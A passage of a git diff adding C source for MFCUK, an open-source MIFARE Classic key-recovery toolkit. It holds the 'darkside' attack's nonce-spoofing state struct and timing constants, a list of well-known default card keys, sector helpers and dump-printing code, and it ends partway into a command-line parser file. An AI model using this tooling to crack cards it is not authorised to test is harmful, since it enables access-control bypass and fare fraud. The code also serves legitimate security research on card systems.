mfcuk_keyrecovery_darkside.h + * @brief +*/ + +/* + VERSION HISTORY +-------------------------------------------------------------------------------- +| Number : 0.1 +| dd/mm/yyyy : 23/11/2009 +| Author : zveriu@gmail.com, http://andreicostin.com +| Description: Moved bulk of defines and things from "mfcuk_keyrecovery_darkside.c" +-------------------------------------------------------------------------------- +*/ + +/* + LICENSE + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#ifndef _MFCUK_KEYRECOVERY_DARKSIDE_H_ +#define _MFCUK_KEYRECOVERY_DARKSIDE_H_ + +// Define package and executable related info +#define PACKAGE_NAME "MFCUK - MiFare Classic Universal toolKit" +#define PACKAGE_VERSION "0.1" +#define BUILD_NAME "Mifare Classic DarkSide Key Recovery Tool" +#define BUILD_VERSION "0.3" +#define BUILD_AUTHOR "Andrei Costin, zveriu@gmail.com, http://andreicostin.com" + +// Define return statuses +#define MFCUK_SUCCESS 0x0 +#define MFCUK_OK_KEY_RECOVERED (MFCUK_SUCCESS+1) +#define MFCUK_FAIL_AUTH (MFCUK_OK_KEY_RECOVERED+1) +#define MFCUK_FAIL_CRAPTO (MFCUK_FAIL_AUTH+1) +#define MFCUK_FAIL_TAGTYPE_INVALID (MFCUK_FAIL_CRAPTO+1) +#define MFCUK_FAIL_KEYTYPE_INVALID (MFCUK_FAIL_TAGTYPE_INVALID+1) +#define MFCUK_FAIL_BLOCK_INVALID (MFCUK_FAIL_KEYTYPE_INVALID+1) +#define MFCUK_FAIL_SECTOR_INVALID (MFCUK_FAIL_BLOCK_INVALID+1) +#define MFCUK_FAIL_COMM (MFCUK_FAIL_SECTOR_INVALID+1) +#define MFCUK_FAIL_MEMORY (MFCUK_FAIL_COMM+1) + +// There are 4 bytes in ACBITS, use each byte as below +#define ACTIONS_KEY_A 0 // Specifies the byte index where actions for key A are stored +#define RESULTS_KEY_A 1 // Specifies the byte index where results for key A are stored +#define ACTIONS_KEY_B 2 // Specifies the byte index where actions for key B are stored +#define RESULTS_KEY_B 3 // Specifies the byte index where results for key B are stored + +// The action/result byte can contain any combination of these +#define ACTIONS_VERIFY 0x1 // Specifies whether the key should be first verified +#define ACTIONS_RECOVER 0x2 // Specifies whether the key should be recovered. If a key has verify action and the key was verified, RESULTS_ byte will indicate that and recovery will not take place +#define ACTIONS_KEYSET 0x4 // Specifies whether the key was set from command line rather that should be loaded from the eventual -i/-I dump + +// Implementation specific, since we are not 100% sure we can fix the tag nonce +// Suppose from 2^32, only MAX 2^16 tag nonces will appear given current SLEEP_ values +#define MAX_TAG_NONCES 65536 +// Maximum possible states allocated and returned by lsfr_common_prefix(). Used this value in the looping +#define MAX_COMMON_PREFIX_STATES (1<<20) +// 10 ms, though {WPMCC09} claims 30 us is enough +#define SLEEP_AT_FIELD_OFF 10 +// 50 ms, seems pretty good constant, though if you don't like it - make it even 3.1415..., we don't care +#define SLEEP_AFTER_FIELD_ON 50 +// Since the 29 bits of {Nr} are constant, darkside varies only "last" (0xFFFFFF1F) 3 bits, thus we have 8 possible parity bits arrays +#define MFCUK_DARKSIDE_MAX_LEVELS 8 + +#define MFCUK_DARKSIDE_START_NR 0xDEADBEEF +#define MFCUK_DARKSIDE_START_AR 0xFACECAFE + +typedef struct tag_nonce_entry +{ + uint32_t tagNonce; // Tag nonce we target for fixation + byte_t spoofFlag; // No spoofing until we have a successful auth with this tagNonce. Once we have, we want to spoof to get the encrypted 0x5 value + uint32_t num_of_appearances; // For statistics, how many times this tag nonce appeared for the given SLEEP_ values + + // STAGE1 data for "dark side" and lsfr_common_prefix() + uint32_t spoofNrPfx; // PARAM: used as pfx, calculated from (spoofNrEnc & 0xFFFFFF1F). BUG: weird way to denote "first 29 prefix bits" in "dark side" paper. Perhaps I see the world different + uint32_t spoofNrEnc; // {Nr} value which we will be using to make the tag respond with 4 bits + uint32_t spoofArEnc; // PARAM: used as rr + uint8_t spoofParBitsEnc; // parity bits we are trying to guess for the first time + uint8_t spoofNackEnc; // store here the encrypted NACK returned first time we match the parity bits + uint8_t spoofKs; // store here the keystream ks used for encryptying spoofNackEnc, specifically spoofKs = spoofNackEnc ^ 0x5 + + // STAGE2 data for "dark side" and lsfr_common_prefix() + int current_out_of_8; // starting from -1 until we find parity for chosen spoofNrEnc,spoofArEnc + uint8_t parBitsCrntCombination[MFCUK_DARKSIDE_MAX_LEVELS]; // Loops over 32 combinations of the last 5 parity bits which generated the 4 bit NACK in STAGE1 + uint32_t nrEnc[MFCUK_DARKSIDE_MAX_LEVELS]; // the 29 bits constant prefix, varying only 3 bits, thus 8 possible values + uint32_t arEnc[MFCUK_DARKSIDE_MAX_LEVELS]; // the same reader response as spoofArEnc; redundant but... :) + uint8_t ks[MFCUK_DARKSIDE_MAX_LEVELS]; // PARAM: used as ks, obtained as (ks[i] = nackEnc[i] ^ 0x5) + uint8_t nackEnc[MFCUK_DARKSIDE_MAX_LEVELS]; // store here the encrypted 4 bits values which tag responded + uint8_t parBits[MFCUK_DARKSIDE_MAX_LEVELS]; // store here the values based on spoofParBitsEnc, varying only last 5 bits + uint8_t parBitsArr[MFCUK_DARKSIDE_MAX_LEVELS][8]; // PARAM: used as par, contains value of parBits byte-bit values just splitted out one bit per byte thus second pair of braces [8] +} tag_nonce_entry_t; + +#endif // _MFCUK_KEYRECOVERY_DARKSIDE_H_ diff --git a/src/mfcuk_mifare.c b/src/mfcuk_mifare.c new file mode 100644 index 0000000..aa27358 --- /dev/null +++ b/src/mfcuk_mifare.c @@ -0,0 +1,560 @@ +/* + Package: + MiFare Classic Universal toolKit (MFCUK) + + Package version: + 0.1 + + Filename: + mfcuk_mifare.c + + Description: + MFCUK defines and function implementation file extending + mainly libnfc's "mifare.h" interface/functionality. + + Contact, bug-reports: + http://andreicostin.com/ + mailto:zveriu@gmail.com + + License: + GPL2 (see below), Copyright (C) 2009, Andrei Costin + + * @file mfcuk_mifare.c + * @brief +*/ + +/* + VERSION HISTORY +-------------------------------------------------------------------------------- +| Number : 0.1 +| dd/mm/yyyy : 23/11/2009 +| Author : zveriu@gmail.com, http://andreicostin.com +| Description: Moved bulk of defines and functions from "mfcuk_keyrecovery_darkside.c" +-------------------------------------------------------------------------------- +*/ + +/* + LICENSE + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#include "mfcuk_mifare.h" + +// Default keys used as a *BIG* mistake in many applications - especially System Integrators should pay attention! +byte_t mfcuk_default_keys[][MIFARE_CLASSIC_KEY_BYTELENGTH] = +{ + {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, // Place-holder for current key to verify + {0xff, 0xff, 0xff, 0xff, 0xff, 0xff}, + {0xa0, 0xa1, 0xa2, 0xa3, 0xa4, 0xa5}, + {0xb0, 0xb1, 0xb2, 0xb3, 0xb4, 0xb5}, + {0x00, 0x00, 0x00, 0x00, 0x00, 0x00}, + {0x4d, 0x3a, 0x99, 0xc3, 0x51, 0xdd}, + {0x1a, 0x98, 0x2c, 0x7e, 0x45, 0x9a}, + {0xd3, 0xf7, 0xd3, 0xf7, 0xd3, 0xf7}, + {0xaa, 0xbb, 0xcc, 0xdd, 0xee, 0xff}, +}; + +int mfcuk_default_keys_num = sizeof(mfcuk_default_keys)/sizeof(mfcuk_default_keys[0]); + +bool is_valid_block(byte_t bTagType, uint32_t uiBlock) +{ + if ( IS_MIFARE_CLASSIC_1K(bTagType) && (uiBlock < MIFARE_CLASSIC_1K_MAX_BLOCKS) ) + { + return true; + } + + if ( IS_MIFARE_CLASSIC_4K(bTagType) && (uiBlock < MIFARE_CLASSIC_4K_MAX_BLOCKS) ) + { + return true; + } + + return false; +} + +bool is_valid_sector(byte_t bTagType, uint32_t uiSector) +{ + if ( IS_MIFARE_CLASSIC_1K(bTagType) && (uiSector < MIFARE_CLASSIC_1K_MAX_SECTORS) ) + { + return true; + } + + if ( IS_MIFARE_CLASSIC_4K(bTagType) && (uiSector < MIFARE_CLASSIC_4K_MAX_SECTORS) ) + { + return true; + } + + return false; +} + +bool is_first_block(byte_t bTagType, uint32_t uiBlock) +{ + if ( !is_valid_block(bTagType, uiBlock) ) + { + return false; + } + + // Test if we are in the small or big sectors + if (uiBlock < MIFARE_CLASSIC_4K_MAX_BLOCKS1) + { + // For Mifare Classic 1K, it will enter always here + return ( (uiBlock) % (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1) == 0 ); + } + else + { + // This branch will enter only for Mifare Classic 4K big sectors + return ( (uiBlock) % (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2) == 0 ); + } + + // Should not reach here, but... never know + return false; +} + +bool is_trailer_block(byte_t bTagType, uint32_t uiBlock) +{ + if ( !is_valid_block(bTagType, uiBlock) ) + { + return false; + } + + // Test if we are in the small or big sectors + if (uiBlock < MIFARE_CLASSIC_4K_MAX_BLOCKS1) + { + // For Mifare Classic 1K, it will enter always here + return ( (uiBlock+1) % (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1) == 0 ); + } + else + { + // This branch will enter only for Mifare Classic 4K big sectors + return ( (uiBlock+1) % (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2) == 0 ); + } + + // Should not reach here, but... never know + return false; +} + +uint32_t get_first_block(byte_t bTagType, uint32_t uiBlock) +{ + if ( !is_valid_block(bTagType, uiBlock) ) + { + return MIFARE_CLASSIC_INVALID_BLOCK; + } + + // Test if we are in the small or big sectors + if (uiBlock < MIFARE_CLASSIC_4K_MAX_BLOCKS1) + { + // Integer divide, then integer multiply + return (uiBlock/MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1) * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1; + } + else + { + uint32_t tmp = uiBlock - MIFARE_CLASSIC_4K_MAX_BLOCKS1; + return MIFARE_CLASSIC_4K_MAX_BLOCKS1 + (tmp/MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2) * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2; + } + + // Should not reach here, but... never know + return MIFARE_CLASSIC_INVALID_BLOCK; +} + +uint32_t get_trailer_block(byte_t bTagType, uint32_t uiBlock) +{ + if ( !is_valid_block(bTagType, uiBlock) ) + { + return MIFARE_CLASSIC_INVALID_BLOCK; + } + + // Test if we are in the small or big sectors + if (uiBlock < MIFARE_CLASSIC_4K_MAX_BLOCKS1) + { + // Integer divide, then integer multiply + return (uiBlock/MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1) * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1 + (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1-1); + } + else + { + uint32_t tmp = uiBlock - MIFARE_CLASSIC_4K_MAX_BLOCKS1; + return MIFARE_CLASSIC_4K_MAX_BLOCKS1 + (tmp/MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2) * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2 + (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2-1); + } + + // Should not reach here, but... never know + return MIFARE_CLASSIC_INVALID_BLOCK; +} + +bool is_big_sector(byte_t bTagType, uint32_t uiSector) +{ + if ( !is_valid_sector(bTagType, uiSector) ) + { + return false; + } + + if (uiSector >= MIFARE_CLASSIC_4K_MAX_SECTORS1) + { + return true; + } + + return false; +} + +uint32_t get_first_block_for_sector(byte_t bTagType, uint32_t uiSector) +{ + if ( !is_valid_sector(bTagType, uiSector) ) + { + return MIFARE_CLASSIC_INVALID_BLOCK; + } + + if (uiSector < MIFARE_CLASSIC_4K_MAX_SECTORS1) + { + // For Mifare Classic 1K, it will enter always here + return (uiSector * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1); + } + else + { + // For Mifare Classic 4K big sectors it will enter always here + uint32_t tmp = uiSector - MIFARE_CLASSIC_4K_MAX_SECTORS1; + return MIFARE_CLASSIC_4K_MAX_BLOCKS1 + (tmp * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2); + } + + // Should not reach here, but... never know + return MIFARE_CLASSIC_INVALID_BLOCK; +} + +uint32_t get_trailer_block_for_sector(byte_t bTagType, uint32_t uiSector) +{ + if ( !is_valid_sector(bTagType, uiSector) ) + { + return MIFARE_CLASSIC_INVALID_BLOCK; + } + + if (uiSector < MIFARE_CLASSIC_4K_MAX_SECTORS1) + { + // For Mifare Classic 1K, it will enter always here + return (uiSector * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1) + (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1-1); + } + else + { + // For Mifare Classic 4K big sectors it will enter always here + uint32_t tmp = uiSector - MIFARE_CLASSIC_4K_MAX_SECTORS1; + return MIFARE_CLASSIC_4K_MAX_BLOCKS1 + (tmp * MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2) + (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2-1); + } + + // Should not reach here, but... never know + return MIFARE_CLASSIC_INVALID_BLOCK; +} + +uint32_t get_sector_for_block(byte_t bTagType, uint32_t uiBlock) +{ + if ( !is_valid_block(bTagType, uiBlock) ) + { + return MIFARE_CLASSIC_INVALID_BLOCK; + } + + // Test if we are in the small or big sectors + if (uiBlock < MIFARE_CLASSIC_4K_MAX_BLOCKS1) + { + // For Mifare Classic 1K, it will enter always here + return (uiBlock/MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1); + } + else + { + uint32_t tmp = uiBlock - MIFARE_CLASSIC_4K_MAX_BLOCKS1; + return MIFARE_CLASSIC_4K_MAX_SECTORS1 + (tmp/MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2); + } + + // Should not reach here, but... never know + return MIFARE_CLASSIC_INVALID_BLOCK; +} + +bool is_first_sector(byte_t bTagType, uint32_t uiSector) +{ + // TODO: write code + return false; +} + +bool is_first_big_sector(byte_t bTagType, uint32_t uiSector) +{ + // TODO: write code + return false; +} + +bool is_first_small_sector(byte_t bTagType, uint32_t uiSector) +{ + // TODO: write code + return false; +} + +bool is_last_sector(byte_t bTagType, uint32_t uiSector) +{ + // TODO: write code + return false; +} + +bool is_last_big_sector(byte_t bTagType, uint32_t uiSector) +{ + // TODO: write code + return false; +} + +bool is_last_small_sector(byte_t bTagType, uint32_t uiSector) +{ + // TODO: write code + return false; +} + +// Test case function for checking correct functionality of the block/sector is_ ang get_ functions +void test_mifare_classic_blocks_sectors_functions(byte_t bTagType) +{ + uint32_t i; + uint32_t max_blocks, max_sectors; + + if ( IS_MIFARE_CLASSIC_1K(bTagType) ) + { + printf("\nMIFARE CLASSIC 1K\n"); + max_blocks = MIFARE_CLASSIC_1K_MAX_BLOCKS; + max_sectors = MIFARE_CLASSIC_1K_MAX_SECTORS; + } + else if ( IS_MIFARE_CLASSIC_4K(bTagType) ) + { + printf("\nMIFARE CLASSIC 4K\n"); + max_blocks = MIFARE_CLASSIC_4K_MAX_BLOCKS; + max_sectors = MIFARE_CLASSIC_4K_MAX_SECTORS; + } + else + { + return; + } + + // Include one invalid block, that is why we add +1 + for (i = 0; iamb->mbm.btUnknown; + + if ( !IS_MIFARE_CLASSIC_1K(bTagType) && !IS_MIFARE_CLASSIC_4K(bTagType) ) + { + return; + } + + printf("%s - UID %02x %02x %02x %02x - TYPE 0x%02x (%s)\n", + title, tag->amb->mbm.abtUID[0], tag->amb->mbm.abtUID[1], tag->amb->mbm.abtUID[2], tag->amb->mbm.abtUID[3], bTagType, + (IS_MIFARE_CLASSIC_1K(bTagType)?(MIFARE_CLASSIC_1K_NAME):(IS_MIFARE_CLASSIC_4K(bTagType)?(MIFARE_CLASSIC_4K_NAME):(MIFARE_CLASSIC_UNKN_NAME))) + ); + printf("-------------------------------------------------------\n"); + printf("Sector\t| Key A\t| AC bits\t| Key B\n"); + printf("-------------------------------------------------------\n"); + + if ( IS_MIFARE_CLASSIC_1K(tag->amb->mbm.btUnknown) ) + { + max_blocks = MIFARE_CLASSIC_1K_MAX_BLOCKS; + } + else + { + max_blocks = MIFARE_CLASSIC_4K_MAX_BLOCKS; + } + + for (i=0; iabtKeyA[0], ptr_trailer->abtKeyA[1], ptr_trailer->abtKeyA[2], + ptr_trailer->abtKeyA[3], ptr_trailer->abtKeyA[4], ptr_trailer->abtKeyA[5], + ptr_trailer->abtAccessBits[0], ptr_trailer->abtAccessBits[1], ptr_trailer->abtAccessBits[2], ptr_trailer->abtAccessBits[3], + ptr_trailer->abtKeyB[0], ptr_trailer->abtKeyB[1], ptr_trailer->abtKeyB[2], + ptr_trailer->abtKeyB[3], ptr_trailer->abtKeyB[4], ptr_trailer->abtKeyB[5] + ); + + // Go beyond current trailer block, i.e. go to next sector + i = trailer_block; + } + + printf("\n"); + + return; +} + +bool mfcuk_key_uint64_to_arr(const uint64_t *ui64Key, byte_t *arr6Key) +{ + int i; + + if ( !ui64Key || !arr6Key ) + { + return false; + } + + for (i = 0; i> 8*(MIFARE_CLASSIC_KEY_BYTELENGTH - i - 1)) & 0xFF); + } + + return true; +} + +bool mfcuk_key_arr_to_uint64(const byte_t *arr6Key, uint64_t *ui64Key) +{ + uint64_t key = 0; + int i; + + if ( !ui64Key || !arr6Key ) + { + return false; + } + + for (i = 0; i>= 8; + + *ui64Key = key; + + return true; +} diff --git a/src/mfcuk_mifare.h b/src/mfcuk_mifare.h new file mode 100644 index 0000000..c4fab24 --- /dev/null +++ b/src/mfcuk_mifare.h @@ -0,0 +1,140 @@ +/* + Package: + MiFare Classic Universal toolKit (MFCUK) + + Package version: + 0.1 + + Filename: + mfcuk_mifare.h + + Description: + MFCUK defines and function prototypes header file extending + mainly libnfc's "mifare.h" interface/functionality. + + Contact, bug-reports: + http://andreicostin.com/ + mailto:zveriu@gmail.com + + License: + GPL2 (see below), Copyright (C) 2009, Andrei Costin + + * @file mfcuk_mifare.h + * @brief +*/ + +/* + VERSION HISTORY +-------------------------------------------------------------------------------- +| Number : 0.1 +| dd/mm/yyyy : 23/11/2009 +| Author : zveriu@gmail.com, http://andreicostin.com +| Description: Moved bulk of defines and functions from "mfcuk_keyrecovery_darkside.c" +-------------------------------------------------------------------------------- +*/ + +/* + LICENSE + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#ifndef _MFCUK_MIFARE_H_ +#define _MFCUK_MIFARE_H_ + +#include +#include + +#include +#include + +#define MIFARE_CLASSIC_UID_BYTELENGTH 4 // Length of a Mifare Classic UID in bytes +#define MIFARE_CLASSIC_KEY_BYTELENGTH 6 // Length of a Mifare Classic key in bytes +#define MIFARE_CLASSIC_1K_NAME "MC1K" +#define MIFARE_CLASSIC_4K_NAME "MC4K" +#define MIFARE_CLASSIC_UNKN_NAME "UNKN" +#define MIFARE_CLASSIC_1K 0x08 // MF1ICS50 Functional Specifications - 0x08 +#define MIFARE_CLASSIC_4K 0x18 // MF1ICS70 Functional Specifications - 0x18 +#define MIFARE_DESFIRE 0x20 // XXXXXXXX Functional Specifications - 0x20 +#define MIFARE_CLASSIC_1K_RATB 0x88 // Infineon Licensed Mifare - 0x88 (thanks JPS) + +#define IS_MIFARE_CLASSIC_1K(ats_sak) ( ((ats_sak) == MIFARE_CLASSIC_1K) || ((ats_sak) == MIFARE_CLASSIC_1K_RATB) ) +#define IS_MIFARE_CLASSIC_4K(ats_sak) ( ((ats_sak) == MIFARE_CLASSIC_4K) ) +#define IS_MIFARE_DESFIRE(ats_sak) ( ((ats_sak) == MIFARE_DESFIRE) ) + +#define MIFARE_CLASSIC_BYTES_PER_BLOCK 16 // Common for Mifare Classic 1K and Mifare Classic 4K +#define MIFARE_CLASSIC_INVALID_BLOCK 0xFFFFFFFF + +#define MIFARE_CLASSIC_1K_MAX_SECTORS 16 +#define MIFARE_CLASSIC_1K_BLOCKS_PER_SECTOR 4 +#define MIFARE_CLASSIC_1K_MAX_BLOCKS ( (MIFARE_CLASSIC_1K_MAX_SECTORS) * (MIFARE_CLASSIC_1K_BLOCKS_PER_SECTOR) ) + +#define MIFARE_CLASSIC_4K_MAX_SECTORS1 32 +#define MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1 MIFARE_CLASSIC_1K_BLOCKS_PER_SECTOR // Possibly NXP made it for Mifare 1K backward compatibility +#define MIFARE_CLASSIC_4K_MAX_BLOCKS1 ( (MIFARE_CLASSIC_4K_MAX_SECTORS1) * (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR1) ) + +#define MIFARE_CLASSIC_4K_MAX_SECTORS2 8 +#define MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2 16 +#define MIFARE_CLASSIC_4K_MAX_BLOCKS2 ( (MIFARE_CLASSIC_4K_MAX_SECTORS2) * (MIFARE_CLASSIC_4K_BLOCKS_PER_SECTOR2) ) + +#define MIFARE_CLASSIC_4K_MAX_SECTORS ( (MIFARE_CLASSIC_4K_MAX_SECTORS1) + (MIFARE_CLASSIC_4K_MAX_SECTORS2) ) +#define MIFARE_CLASSIC_4K_MAX_BLOCKS ( (MIFARE_CLASSIC_4K_MAX_BLOCKS1) + (MIFARE_CLASSIC_4K_MAX_BLOCKS2) ) + +#define MFCUK_EXTENDED_DESCRIPTION_LENGTH 128 + +// Define an extended type of dump, basically a wrapper dump around basic tag dump +typedef struct { + uint32_t uid; // looks redundant, but it is easier to use dmp.uid instead of dmp.amb.mbm.abtUID[0]...[3] + byte_t type; // ATS/SAK from ti.tia.btSak, example 0x08h for Mifare 1K, 0x18h for Mifare 4K + char datetime[14]; // non-zero-terminated date-time of dump in format YYYYMMDDH24MISS, example 20091114231541 - 14 Nov 2009, 11:15:41 PM + char description[MFCUK_EXTENDED_DESCRIPTION_LENGTH]; // a description of the tag dump, example "RATB_DUMP_BEFORE_PAY" + mifare_tag tag_basic; +} mifare_tag_ext; + +// Define type of keys (A or B) in NXP notation +typedef enum { + keyA = 0x60, + keyB = 0x61, +} mifare_key_type; + +// Default keys used as a *BIG* mistake in many applications - especially System Integrators should pay attention! +extern byte_t mfcuk_default_keys[][MIFARE_CLASSIC_KEY_BYTELENGTH]; +extern int mfcuk_default_keys_num; + +bool is_valid_block(byte_t bTagType, uint32_t uiBlock); +bool is_valid_sector(byte_t bTagType, uint32_t uiSector); +bool is_first_block(byte_t bTagType, uint32_t uiBlock); +bool is_trailer_block(byte_t bTagType, uint32_t uiBlock); +uint32_t get_first_block(byte_t bTagType, uint32_t uiBlock); +uint32_t get_trailer_block(byte_t bTagType, uint32_t uiBlock); +bool is_big_sector(byte_t bTagType, uint32_t uiSector); +uint32_t get_first_block_for_sector(byte_t bTagType, uint32_t uiSector); +uint32_t get_trailer_block_for_sector(byte_t bTagType, uint32_t uiSector); +uint32_t get_sector_for_block(byte_t bTagType, uint32_t uiBlock); +bool is_first_sector(byte_t bTagType, uint32_t uiSector); +bool is_first_big_sector(byte_t bTagType, uint32_t uiSector); +bool is_first_small_sector(byte_t bTagType, uint32_t uiSector); +bool is_last_sector(byte_t bTagType, uint32_t uiSector); +bool is_last_big_sector(byte_t bTagType, uint32_t uiSector); +bool is_last_small_sector(byte_t bTagType, uint32_t uiSector); +void test_mifare_classic_blocks_sectors_functions(byte_t bTagType); +bool mfcuk_save_tag_dump(char *filename, mifare_tag *tag); +bool mfcuk_save_tag_dump_ext(char *filename, mifare_tag_ext *tag_ext); +bool mfcuk_load_tag_dump(char *filename, mifare_tag *tag); +bool mfcuk_load_tag_dump_ext(char *filename, mifare_tag_ext *tag_ext); +void print_mifare_tag_keys(const char *title, mifare_tag *tag); +bool mfcuk_key_uint64_to_arr(const uint64_t *ui64Key, byte_t *arr6Key); +bool mfcuk_key_arr_to_uint64(const byte_t *arr6Key, uint64_t *ui64Key); + +#endif // _MFCUK_MIFARE_H_ diff --git a/src/mfcuk_utils.c b/src/mfcuk_utils.c new file mode 100644 index 0000000..b205498 --- /dev/null +++ b/src/mfcuk_utils.c @@ -0,0 +1,81 @@ +/* + Package: + MiFare Classic Universal toolKit (MFCUK) + + Package version: + 0.1 + + Filename: + mfcuk_utils.c + + Description: + MFCUK common utility functions implementation. + + License: + GPL2 (see below), Copyright (C) 2009, Andrei Costin + + * @file mfcuk_utils.c + * @brief +*/ + +/* + VERSION HISTORY +-------------------------------------------------------------------------------- +| Number : 0.1 +| dd/mm/yyyy : 23/11/2009 +| Author : zveriu@gmail.com, http://andreicostin.com +| Description: Moved bulk of defines and prototypes from "mfcuk_keyrecovery_darkside.c" +-------------------------------------------------------------------------------- +*/ + +/* + LICENSE + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#include "mfcuk_utils.h" + +#ifdef __STDC__ + struct timeval global_timeout; +#endif + +/* +http://www.velocityreviews.com/forums/t451319-advice-required-on-my-ascii-to-hex-conversion-c.html +Basically, converting a hex digit into a hex nibble (4 binary digits) algorithm looks like; + char xdigit; // hex digit to convert [0-9A-Fa-f] + xdigit = tolower(xdigit); // make it lowercase [0-9a-f] + xdigit -= '0'; // if it was a [0-9] digit, it's the value now + if(xdigit > 9) // if it was a [a-f] digit, compensate for that + xdigit = xdigit + '0' - 'a'; +The below code is just an optimization of the algorithm. Maxim Yegorushkin +*/ + +/*inline*/ +int is_hex(char c) +{ + return (c >= '0' && c <= '9') || ((c | 0x20) >= 'a' && (c | 0x20) <= 'f'); +} + +/*inline*/ +unsigned char hex2bin(unsigned char h, unsigned char l) +{ + h |= 0x20; // to lower + h -= 0x30; + h -= -(h > 9) & 0x27; + l |= 0x20; + l -= 0x30; + l -= -(l > 9) & 0x27; + return h << 4 | l; +} diff --git a/src/mfcuk_utils.h b/src/mfcuk_utils.h new file mode 100644 index 0000000..ccb2bf9 --- /dev/null +++ b/src/mfcuk_utils.h @@ -0,0 +1,104 @@ +/* + Package: + MiFare Classic Universal toolKit (MFCUK) + + Package version: + 0.1 + + Filename: + mfcuk_utils.h + + Description: + MFCUK common utility functions prototypes. + + License: + GPL2 (see below), Copyright (C) 2009, Andrei Costin + + * @file mfcuk_utils.h/ + * @brief +*/ + +/* + VERSION HISTORY +-------------------------------------------------------------------------------- +| Number : 0.1 +| dd/mm/yyyy : 23/11/2009 +| Author : zveriu@gmail.com, http://andreicostin.com +| Description: Moved bulk of defines and prototypes from "mfcuk_keyrecovery_darkside.c" +-------------------------------------------------------------------------------- +*/ + +/* + LICENSE + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 2 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +#ifndef _MFCUK_UTILS_H_ +#define _MFCUK_UTILS_H_ + +#include +#include +#include + +#ifdef WIN32 + #define NOMINMAX + #include "windows.h" + #include "xgetopt.h" +#elif __STDC__ + #include + #include + #include +#endif + +// "Portable" sleep(miliseconds) +#ifdef WIN32 + #define sleep(x) Sleep(x) +#elif __STDC__ + extern struct timeval global_timeout; + #define sleep(x) { global_timeout.tv_usec = 1000 * (x); select(0,NULL,NULL,NULL,&global_timeout); } +#endif + +// "Portable" clear_screen() - NOTE: system performance penalty introduced +#ifdef WIN32 + #define clear_screen() system("cls") +#elif __STDC__ + #define clear_screen() system("sh -c clear") +#endif + +/** + * @fn int is_hex(char c) + * @brief Checks if an ASCII character is a valid hexadecimal base digit + * @param c The ASCII character to be checked + * @return Returns true (non-zero) or false (zero) + * + * Checks if an ASCII character is a valid hexadecimal base digit. + * Used for hex2bin() functionality. + */ +int is_hex(char c); + +/** + * @fn unsigned char hex2bin(unsigned char h, unsigned char l) + * @brief Converts from two nibbles (4 bits) into the corresponding byte + * @param h The HIGH (left-most in human reading) nibble of two-char hex representation of a byte + * @param l The LOW (right-most in human reading) nibble of two-char hex representation of a byte + * @return Returns the byte which is formed from the two-char hex representation of it + * + * Converts from two nibbles (4 bits) into the corresponding byte. + * Uses the algorithm and implementation from here: + * http://www.velocityreviews.com/forums/t451319-advice-required-on-my-ascii-to-hex-conversion-c.html + */ +unsigned char hex2bin(unsigned char h, unsigned char l); + +#endif // _MFCUK_UTILS_H_ diff --git a/src/xgetopt.c b/src/xgetopt.c new file mode 100644 index 0000000..5ef7ef8 --- /dev/null +++ b/src/xgetopt.c @@ -0,0 +1,223 @@ +// XGetopt.cpp Version 1.2 +// +// Author: Hans Dietrich +// hdietrich2@hotmail.com +// +// Description: +// XGetopt.cpp implements getopt(), a function to parse command lines. +// +// History +// Version 1.2 - 2003 